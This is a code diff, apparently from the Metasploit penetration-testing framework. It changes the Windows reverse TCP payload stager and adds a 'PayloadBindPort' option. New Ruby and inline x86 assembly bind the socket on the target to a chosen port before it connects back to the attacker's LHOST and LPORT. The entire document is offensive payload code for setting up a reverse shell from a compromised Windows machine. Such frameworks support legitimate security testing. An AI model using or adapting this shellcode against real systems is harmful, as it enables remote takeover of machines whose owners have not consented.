@@ -22,6 +22,14 @@ module Payload::Windows::ReverseTcp
22
22
include Msf ::Payload ::Windows ::BlockApi
23
23
include Msf ::Payload ::Windows ::Exitfunk
24
24
25
+ #
26
+ # Register reverse tcp specific options
27
+ #
28
+ def initialize ( *args )
29
+ super
30
+ register_advanced_options ( [ OptString . new ( 'PayloadBindPort' , [ false , 'Port to bind reverse tcp socket to on target system.' ] ) ] , self . class )
31
+ end
32
+
25
33
#
26
34
# Generate the first stage
27
35
#
@@ -31,6 +39,7 @@ def generate(opts={})
31
39
port : ds [ 'LPORT' ] ,
32
40
host : ds [ 'LHOST' ] ,
33
41
retry_count : ds [ 'ReverseConnectRetries' ] ,
42
+ bind_port : ds [ 'PayloadBindPort' ] ,
34
43
reliable : false
35
44
}
36
45
@@ -103,6 +112,9 @@ def asm_reverse_tcp(opts={})
103
112
encoded_port = "0x%.8x" % [ opts [ :port ] . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
104
113
encoded_host = "0x%.8x" % Rex ::Socket . addr_aton ( opts [ :host ] ||"127.127.127.127" ) . unpack ( "V" ) . first
105
114
115
+ addr_fam = 2
116
+ sockaddr_size = 16
117
+
106
118
asm = %Q^
107
119
; Input: EBP must be the address of 'api_call'.
108
120
; Output: EDI will be the socket for the connection to the server
@@ -141,7 +153,35 @@ def asm_reverse_tcp(opts={})
141
153
push #{ Rex ::Text . block_api_hash ( 'ws2_32.dll' , 'WSASocketA' ) }
142
154
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
143
155
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
144
-
156
+ ^
157
+ # Check if a bind port was specified
158
+ if opts [ :bind_port ]
159
+ bind_port = opts [ :bind_port ]
160
+ encoded_bind_port = "0x%.8x" % [ bind_port . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
161
+ asm << %Q^
162
+ xor eax, eax
163
+ push 11
164
+ pop ecx
165
+ push_0_loop:
166
+ push eax ; if we succeed, eax will be zero, push it enough times
167
+ ; to cater for both IPv4 and IPv6
168
+ loop push_0_loop
169
+
170
+ ; bind to 0.0.0.0/[::], pushed above
171
+ push #{ encoded_bind_port } ; family AF_INET and port number
172
+ mov esi, esp ; save a pointer to sockaddr_in struct
173
+ push #{ sockaddr_size } ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
174
+ push esi ; pointer to the sockaddr_in struct
175
+ push edi ; socket
176
+ push #{ Rex ::Text . block_api_hash ( 'ws2_32.dll' , 'bind' ) }
177
+ call ebp ; bind( s, &sockaddr_in, 16 );
178
+ push #{ encoded_host } ; host in little-endian format
179
+ push #{ encoded_port } ; family AF_INET and port number
180
+ mov esi, esp
181
+ ^
182
+ end
183
+
184
+ asm << %Q^
145
185
try_connect:
146
186
push 16 ; length of the sockaddr struct
147
187
push esi ; pointer to the sockaddr struct
0 commit comments